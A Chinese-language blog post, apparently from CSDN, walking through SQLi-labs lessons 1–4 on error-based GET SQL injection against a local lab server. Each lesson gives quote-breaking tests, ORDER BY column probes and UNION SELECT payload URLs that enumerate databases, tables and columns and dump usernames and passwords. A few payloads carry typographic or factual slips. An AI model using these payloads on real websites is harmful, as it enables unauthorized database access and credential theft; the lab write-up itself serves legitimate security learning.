Sqli-labs Less01-04 基于错误的sql注入 - GET

最新推荐文章于 2023-06-21 16:01:18 发布
最新推荐文章于 2023-06-21 16:01:18 发布
阅读量822 收藏 4
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81519258
版权

本文记录 SQL 注入的学习过程，资料为 SQLi-labs

Sqli-labs 博客目录

基于错误的 sql 注入

Less - 1: GET - Error based - Single quotes - String

  1. 测试漏洞

    在 URL 后面添加一个引号

    http://10.10.10.137/sqli-labs/Less-1/?id=1'

    发现有报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    从上述错误当中，我们可以看到提交到sql 中的1’在经过 sql 语句构造后形成 ‘1” LIMIT 0,1，多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息，那我们接下来想如何将多余的’ 去掉呢？

    尝试：

    'or 1=1--+

    URL

    http://10.10.10.137/sqli-labs/Less-1/?id=1' or 1=1 --+

    此时构造的sql 语句就成了

    Select ****** where id='1'or 1=1--+' LIMIT 0,1

    此时已经有正常的数据显示出来

  2. 测试列数

    此处可以利用order by。Order by 对前面的数据进行排序，这里有三列数据，我们就只能用order by 3, 超过3 就会报错。

    ?id=1' order by 4--+

    结果显示结果超出。

  3. 分析原理

    从源代码中分析下为什么会造成注入

    Sql 语句为

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    Id 参数在拼接sql 语句时，未对id 进行任何的过滤等操作，所以当提交 ‘or 1=1–+，直接构造的 sql 语句就是

    SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1

    这条语句因or 1=1 所以为永恒真。

  4. union 联合注入

    union 的作用是将两个sql 语句进行联合

    union 前后的两个sql 语句的选择列数要相同才可以

    Union all 与union 的区别是增加了去重的功能

    http://10.10.10.137/sqli-labs/Less-1/?id=-1 'union select 1,2 --+

    当id 的数据在数据库中不存在时，（此时我们可以id=-1，两个 sql 语句进行联合操作时，当前一个语句选择的内容为空，我们这里就将后面的语句的内容显示出来）此处前台页面返回了我们构造的 union 的数据。

    http://10.10.10.137/sqli-labs/Less-1/?id=-1 ' union select 1,2 ,3--+

  5. 爆破数据库

    http://10.10.10.137/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    此时的sql 语句为

    SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

  6. 爆 security 数据库的数据表

    http://10.10.10.137/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

  7. 爆 users 表的列

    http://10.10.10.137/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

  8. 爆数据

    http://10.10.10.137/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=2--+

    此时的sql 语句为

    SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=2--+ LIMIT 0,1

Less - 2: GET - Error based - Intiger based

  1. 测试

    在 URL 后面添加一个引号

    http://10.10.10.137/sqli-labs/Less-2/?id=1'

    错误信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

    现在执行的查询语句如下：

    Select * from TABLE where id = 1';

    所以这里的奇数个单引号破坏了查询，导致抛出错误。

    因此我们得出的结果是，查询代码使用了整数。

    Select * from TABLE where id = (some integer value);

    现在，从开发者的视角来看，为了对这样的错误采取保护措施，我们可以注释掉剩余的查询：

    http://localhost/sqli-labs/Less-2/?id=1–-+

    源代码中可以分析到SQL 语句为下：

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

    对id 没有经过处理

    可以成功注入的有：

    or 1=1
or 1=1 --+

    其余的 payload 与 less1 中一直，只需要将 less1 中的 ’ 去掉即可。

  2. 测试列数

    此处可以利用order by。Order by 对前面的数据进行排序，这里有三列数据，我们就只能用order by 3, 超过3 就会报错。

    ?id=1 order by 4--+

    结果显示结果超出。

  3. union 联合注入

    union 的作用是将两个sql 语句进行联合

    union 前后的两个sql 语句的选择列数要相同才可以

    Union all 与union 的区别是增加了去重的功能

    http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+

    当id 的数据在数据库中不存在时，（此时我们可以id=-1，两个 sql 语句进行联合操作时，当前一个语句选择的内容为空，我们这里就将后面的语句的内容显示出来）此处前台页面返回了我们构造的 union 的数据。

  4. 爆破数据库

    http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

  5. 爆 security 数据库的数据表

    http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

  6. 爆 users 表的列

    http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

  7. 爆数据

    http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,username,password from users where id=2--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=-1 union select 1,username,password from users where id=2--+ LIMIT 0,1

Less - 3: GET - Error based - Single quotes with twist - String

  1. 测试漏洞

    在 URL 后面添加 id=’

    http://10.10.10.137/sqli-labs/Less-1/?id='

    发现有错误信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

    注入代码后，我们得到像这样的一个错误：

    MySQL server version for the right syntax to use near "") LIMIT 0,1' at line 1

    这里它意味着，开发者使用的查询是：

    Select login_name, select password from table where id= ('our input here')

    所以我们再用这样的代码来进行注入：

    ?id=1') –-+

    URL

    http://10.10.10.137/sqli-labs/Less-3/?id=1') --

    在源代码中的SQL 查询语句，31 行：

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

    可以注入成功的有

    ') or '1'=('1'
) or 1=1 --+

    其余的 payload 与 less1 中一致，只需要将 less1 中的 ’ 添加 ） 即 ‘) 。

  2. 测试列数

    此处可以利用order by。Order by 对前面的数据进行排序，这里有三列数据，我们就只能用order by 3, 超过3 就会报错。

    ?id=1’ order by 4–+

    结果显示结果超出。

  3. union 联合注入

    union 的作用是将两个sql 语句进行联合

    union 前后的两个sql 语句的选择列数要相同才可以

    Union all 与union 的区别是增加了去重的功能

    http://10.10.10.137/sqli-labs/Less-3/?id=-1 ')union select 1,2,3 --+

    当 id 的数据在数据库中不存在时，（此时我们可以 id=-1，两个 sql 语句进行联合操作时，当前一个语句选择的内容为空，我们这里就将后面的语句的内容显示出来）此处前台页面返回了我们构造的 union 的数据。

  4. 爆破数据库

    http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata-- +

    此时的sql 语句为

    SELECT * FROM users WHERE id=（'-1'） union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

  5. 爆 security 数据库的数据表

    http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=('-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

  6. 爆 users 表的列

    http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=('-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

  7. 爆数据

    http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,username,password from users where id=2--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=('-1') union select 1,username,password from users where id=2--+ LIMIT 0,1

Less - 4: GET - Error based - Double Quotes - String

  1. 测试漏洞

    在 URL 后面添加 ?id=1”

    http://10.10.10.137/sqli-labs/Less-4/?id=1"

    发现有错误信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    这里它意味着，代码当中对 id 参数进行了 “” 和 () 的包装。

    所以我们再用这样的代码来进行注入：

    ?id=1") –-+

    URL

    http://10.10.10.137/sqli-labs/Less-4/?id=1%E2%80%9D)%20%E2%80%93-+

    这样一来，我们便可以得到用户名和密码了，同时后面查询也已经被注释掉了。

    在源代码中的SQL 查询语句，31 行：

    $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

    可以成功注入的有：

    ") or "1"=("1
") or 1=1 --+

    其余的payload 与less1 中一直，只需要将less1 中的’ 更换为”) 。

  2. 测试列数

    此处可以利用order by。Order by 对前面的数据进行排序，这里有三列数据，我们就只能用order by 3, 超过3 就会报错。

    ?id=1”) order by 4–+

    结果显示结果超出。

  3. union 联合注入

    union 的作用是将两个sql 语句进行联合

    union 前后的两个sql 语句的选择列数要相同才可以

    Union all 与union 的区别是增加了去重的功能

    http://10.10.10.137/sqli-labs/Less-4/?id=-1 ")union select 1,2,3 --+

    当id 的数据在数据库中不存在时，（此时我们可以id=-1，两个 sql 语句进行联合操作时，当前一个语句选择的内容为空，我们这里就将后面的语句的内容显示出来）此处前台页面返回了我们构造的 union 的数据。

  4. 爆破数据库

    http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=("-1") union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

  5. 爆 security 数据库的数据表

    http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=("-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

  6. 爆 users 表的列

    http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=("-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

  7. 爆数据

    http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,username,password from users where id=2--+

    此时的sql 语句为

    SELECT * FROM users WHERE id=("-1") union select 1,username,password from users where id=2--+ LIMIT 0,1

网络安全打工人
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
SQL注入：基于报错的SQL注入
weixin_73180072的博客
12-04 257
基于报错的SQL注入
基于错误的 SQL 注入
m0_73565700的博客
06-21 177
（查看显示位，union 作用是将多个select语句的结果整合到一个结果中返回，union 语句使得输入多个select语句成为可能，union 语句后的select语句是我们想要注入的代码）（2和3步骤：order by语句用于排序，使用超出范围的数字，获取实际检索的列数）在 First name 字段中，找到程序所存放的用户名，在 Surname 字段中，找到了每个用户的密码哈希值。7.到这一步，可以知道数据库（或模式）名称为 dvwa，正在寻找的表是 user。首先需要找到用户的表（获取数据本）。
SQL注入之错误注入_基于updatexml()
热门推荐
wangyuxiang946的博客
06-21 1万+
先介绍一下updatexml()的基本用法 updatexml(参数1 , 参数2 , 参数3); 参数1: 文件名 ,
Web安全之SQL注入攻击-报错注入篇
hack0919的博客
05-10 353
SQL注入长期位于OWASP TOP10 榜首，对Web 安全有着很大的影响
SQL注入之基于报错的注入
weixin_68951704的博客
07-05 829
目录1.GET单引号字符型2.GET数字型3.GET单引号加括号字符型4.GET双引号字符型5.注入利用5.1利用order by判断字段5.2利用联合查询查找信息首先我们打开搭建好的sqli-labs靶场，选择less-1 进入后我们看到这样一行提示 请输入一个id值作为对应参数，这里我输入1作为参数，验证后1-14均可以回显 输入后login name 和password都显现出来我们输入单引号这里显示错误，我们将错误回显记录下来 由此我们可以猜解出SQL语句为select login_name,
sqli-labs配置数据库sqli-labs的数据库文件
03-09
Unable to connect to the database: security sqli-labs通过docker安装时，缺少数据库文件，可以通过这个sql文件直接安装
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。
jeakinscheung-sqli-labs-php7-master.zip
03-16
sqli创建数据库连接发现连接不了，这种原因是现在大部分人用的php7，原版的sqli只支持php5.
基于错误回显的SQL注入整理
12-14
由于复习，停了好几天，换换模式做了一下关于错误回显的ctf题目，首先附上题目：here 　　整理了一下网上的一些关于错误回显的方法，在这里不带上地址了，请大牛们原谅：P 　　0x00 关于错误回显 　　用我自己的话来讲，基于错误回显的sql注入是通过sql语句的矛盾性来使数据被回显到页面上（当然在实际应用中得能回显在页面上，一般的网站都回避免这种情况，哈哈，要是能碰上你偷着乐吧）。 　　0x01  用于错误回显的sql语句（下面的函数撸主只在mysql下试过也能成功，其他数据库有待考证，待有实例的时候会补充） 　　第一种：  基于 rand()  与  group by 的错误 　
SQL报错注入
qq_64332865的博客
02-18 563
基于报错的注入，是指通过构造特定的SQL语句，让攻击者想要查询的信息(如数据库名、版本号、用户名等）通过页面的错误提示回显出来。 报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上;(2）后台未对一些具有报错功能的函数进行过滤。 常用的报错功能函数包括extractvalue()、 updatexml)、floor()、exp()等。 关于floor()函数,在进行报错注入时，floor()函数一般需要与rand()、count()、g
SQL注入--基于错误的GET单引号字符型注入
Leslieyzz的博客
02-14 447
SQL注入--基于错误的GET单引号字符型注入
SQL注入——基于报错的注入（1）
qq_52072846的博客
02-18 2463
实验目的 熟悉报错功能函数extractvalue的用法，掌握基于报错的SQL注入基本流程 实验原理 (1)关于报错注入 基干报错的注入，是指通讨构造特定的SOI语句，让攻击者想要查询的信息(如 数据库名、版本号、用户名等)通过页面的错误提示回显出来。 报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函 数，对于一些SQL语句的错误直接回显在页面上:(2)后台未对一些具有报错 功能的函数进行过滤。 常用的报错功能函数包括extractvalue()、updatexml(、fl
get基于报错的sql注入
冷巷(✘_✘)的博客
07-14 1049
目录1.SQL注入的分类数字型字符型2.get基于报错的sql注入发现3.get基于报错的sql注入利用1.利用order by 判断字段数。2.利用union select 联合查询，获取表名。3.利用union select联合查询，获取字段名。4.利用union select 联合查询，获取字段值。4.利用sqlmap测试根据注入为数据类型可将sql注入分为数字型和字符型。例如 字符型 例如 2.get基于报错的sql注入发现 通过在url中修改对应的id值，为正常数字、打数字、字符（单引
基于GET的盲注
LuckySec
02-11 546
盲注介绍 先进行Boolean盲注，若实在不行再进行时间盲注 GET基于Boolean的盲注，实验：sqli-labs less -8 输入：?id=1' and length(database()) = 10 --+ 输出：无任何信息 由此证明：数据库数为10错误 输入：?id=1' and length(database()) = 8 --+ 输出：You are in..............
Web渗透——SQL注入之基于错误的
王嘟嘟的博客
04-13 1890
0x00 前言 sql注入是top 10中的一个，是需要好好学习的一个漏洞。 0x01 知识点 1.注入原理 注入攻击的更远在于，程序命令和用户数据之前没有进行校验，使得攻击者有机会将程序命令当做用户输入的数据交给web程序，为所欲为。 简之：接受相关参数未经处理直接带入数据库查询操作。 2.GET 基于单引号的错误 2.1 单引号型 首先来看一下正常测试，输入ID...
BurpSuite 的导入和导出
kevinhanser
07-12 8756
使用的版本为 burpsuite_pro_v2020.6.jar BurpSuite 的导入和导出 2020年7月12日10:54:51【原创】 1. 简介 主要目的是使用burp记录浏览记录，并保存成文件 2. 导出 导出整个项目成 .burp 文件 位置：Project -> Save copy 优点：跨平台分享项目中所有浏览记录 测试：二进制文件 先尽情的抓包，然后保存即可，可以只选择保存 Proxy的内容，也可以全都保存。 2. 导出单个浏览记录 位置： Proxy -> 选.
文件上传 05 服务端检测绕过(文件内容检测)
kevinhanser
08-13 6238
本文记录文件上传学习过程，教程为 《Upload Attack Framework V1.0》 文件上传检测 客户端javascript 检测(通常为检测文件扩展名) 服务端MIME 类型检测(检测Content-Type 内容) 服务端目录路径检测(检测跟path 参数相关的内容)、 服务端文件扩展名检测(检测跟文件extension 相关的内容) 服务端文件内容检测(检测内容...
SQL注入靶场sqli-labs
最新发布
12-20
sqli-labs是一个基于SQL注入的游戏教程，它可以帮助用户更好地了解SQL注入的语法和原理。要搭建sqli-labs靶场，您可以按照以下步骤进行操作： 1. 下载sqli-labs项目：您可以从GitHub上的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值